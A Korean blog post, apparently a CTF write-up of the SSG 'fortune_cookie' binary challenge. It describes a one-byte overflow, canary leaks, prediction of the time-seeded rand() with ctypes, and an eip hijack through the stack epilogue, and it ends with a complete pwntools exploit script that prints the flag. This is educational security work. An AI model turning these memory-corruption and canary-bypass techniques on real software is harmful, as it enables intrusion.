ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 0x24.SSG - fortune_cookie
    0x.CTF 2018. 11. 8. 18:02

    0x24.SSG - fortune_cookie


    파일 & 소스 : https://github.com/pwnwiz/CTF/blob/master/fortune_cookie


    seed와 관련된 문제를 풀어보고 싶어서 선택한 바이너리였다. 이 문제를 풀면서 srand와 rand를 예측하기 위해 ctypes를 써보았고 시드 값이 잘 안맞아서 고생을 좀 했다.


    해당 바이너리를 보도록 하자.



    main 함수가 실행되면 v11이 저장되고 v10에 카나리가 저장되고, loadkey() 함수가 호출되고 seed를 time(0) 값으로 srand로 생성한다.



    loadkey() 함수는 /home/fortune_cookie/flag로부터 flag를 읽어와 전역변수 key에다가 저장한다.



    main 함수의 다음 부분에서는 while 문이 수행되는데 v3, v4, v5를 랜덤하게 시드값을 생성한 뒤에 v9에 해당 값들을 곱한 값을 집어넣고 전역변수 g_canary에도 해당 값을 복사한다. 그리고 사용자로부터 selector 변수에 입력을 받는데 해당 값이 1이면 아래의 루틴이 수행되고 그 외에는 while 문을 탈출한다.


    1이 입력되면 input_wrap() 함수가 실행되는데 그 함수는 아래와 같다.



    인자값으로 &s와, v8을 받는데 s는 100바이트 크기의 배열이며, v8은 처음 실행될 때 100이라는 값이 저장되는 변수이다. 100바이트 만큼을 읽어와서 개행문자가 아니면 그 값을 a1+i에 저장하는데 for문에서 i++을 통해 받기에 1바이트 오버플로우가 발생한다. 이 오버플로우를 통해 덮히는 값은 결국 v8인데 기존의 0x64의 값을 최대 0xff까지 오버플로우가 가능하다.


    이렇게 입력받은 값을 출력해주기에 leak이 가능하며, check_canary함수가 실행된다.



    인자값으로 g_canary와 v9의 값을 받고 해당 값이 똑같은지를 확인한다. 위 작업이 문제없이 수행되면 다시 while문의 초반부로 넘어가서 selector를 입력받는다. 만약 1이 아닌 다른 값을 입력하면 아래의 branch로 이동한다.



    마지막의 return 0 부분을 보면 lea esp, [ecx - 4]이 수행되는 것을 알 수 있다. 재밌는 사실은 ebp-8에서 pop ecx가 발생하는데 그 값은 *v11의 값이다. 이를 통해 v11에 넣는 값에 따라 eip가 컨트롤 가능하다.


    익스는 다음의 방식으로 수행하였다.


    가장 먼저 1바이트를 Overflow시켜 입력받을 크기를 0x64에서 0x67로 변경을 함으로써 완전한 사이즈의 값에 대한 컨트롤이 가능해진다. 그 다음으로 0x67676767로 사이즈를 다시 한 번 변경해주고, v9와 v10을 차례대로 릭한다. 이 때의 v9는 시드로 생성된 임의의 카나리 값이며, v10은 프로그램의 카나리 값이다.


    g_canary 값만 추측할 수 있으면 0x67676767바이트만큼을 overwrite할 수 있게 된다. 이 부분에서 삽질을 좀 했는데, ctypes를 이용하여 libc에서 srand를 생성해서 그 값을 비교하는 과정에서 시드가 잘 맞지 않았다. 그래서 process 연결부분을 seed 값 생성 후로 조정하였더니 아래와 같이 leak한 값과 예측한 시드값을 맞출 수 있었다.



    아까 위에서 설명했듯이 결국 v11의 안에 들어있는 값으로 점프를 뛰게 되기 때문에 해당 stack의 주소만 릭을 해주게 되면 임의의 주소로 점프를 뛸 수 잇다. 그래서 v11의 다음 4바이트에 puts의 주소를 넣고 v11이 v11+4의 주소를 가리키게 해서 트램폴린 형식으로 eip를 puts로 돌려서 익스를 진행하였다.



    익스플로잇 코드

    from pwn import *
    import ctypes

    LIBC = ctypes.cdll.LoadLibrary('libc-2.23.so')

    seed = LIBC.time(0)
    LIBC.srand(seed)

    s = process('./fortune_cookie')
    e = ELF('./fortune_cookie')

    key = 0x0804a0a0
    pr = 0x8048ba6
    pppr = 0x8048b89

    def recv_menu():
           s.recvuntil("=========================================\n")
           s.recvuntil("=========================================\n")

    def guess():
        recv_menu()
        limit = 0xffffffff
        v3 = LIBC.rand()
        v4 = LIBC.rand() * v3
        v5 = LIBC.rand()
        v10 = v4 * v5
        v10 = v10 & limit # guess v10
        #print 'v10         : ' + str(hex(v10))
        return v10

    def exploit(string, data, leaked):
        g_canary = 0
        real_canary = 0
        v11 = 0
        s.recvuntil(">")
        s.sendline("1")
        s.recvuntil("Input your string : ")
        s.send(string)
        if data != 0:
            s.recv(0x7e)
            try:
                g_canary = u32(s.recv(4)) # leak g_canary
                #print 'g_canary   : ' + str(hex(g_canary))
                if leaked==0 :
                    try:
                        real_canary = u32(s.recv(4)) - 0x01 # leak real canary
                        #print 'real_canary : ' +str(hex(real_canary))
                        try:
                            v11 = u32(s.recv(4)) - 0x20
                            #print 'v11         : ' + str(hex(v11))
                        except:
                                pass
                    except:
                            pass
            except:
                    pass
        else:
            pass
        s.recv()
        return [g_canary, real_canary, v11]


    leaked = guess()
    g_canary, real_canary, v11= exploit('g'*101, 0, 1) # 1 byte overflow in v9 => 0x64 -> 0x67

    leaked = guess()
    g_canary, real_canary, v11 = exploit('g'*104+'\n', 4, 1) # size overflow to 0x67676767

    leaked = guess()
    g_canary, real_canary, v11 = exploit('g'*104+p32(leaked)+'\x01'+'\n', 8, 0) # leak g_canary, real_canary -> when last digit 0x00 fails

    leaked = guess()
    exploit('g'*104+p32(leaked)+p32(real_canary)+p32(v11+0x4+0x4)+p32(e.plt['puts'])+p32(0xdeadbeef)+p32(key)+'\n', 8, 1) # overwrite *v11([ecx - 0x4 ])

    s.recvuntil(">")
    s.sendline("2")
    s.recvuntil("Good bye :p")

    print s.recv()

    s.close()



    '0x.CTF' 카테고리의 다른 글

    0x26.WITHCON 2017 - combination  (0) 2018.11.22
    0x25.SSG - easy_linux_reversing  (0) 2018.11.09
    0x23.0ctf 2018 - blackhole  (0) 2018.11.06
    0x22.CODEGATE 2015 - yocto  (0) 2018.10.31
    0x21.teamsik 2016 - StrangeCalculator  (0) 2018.09.03

    댓글

Designed by Tistory.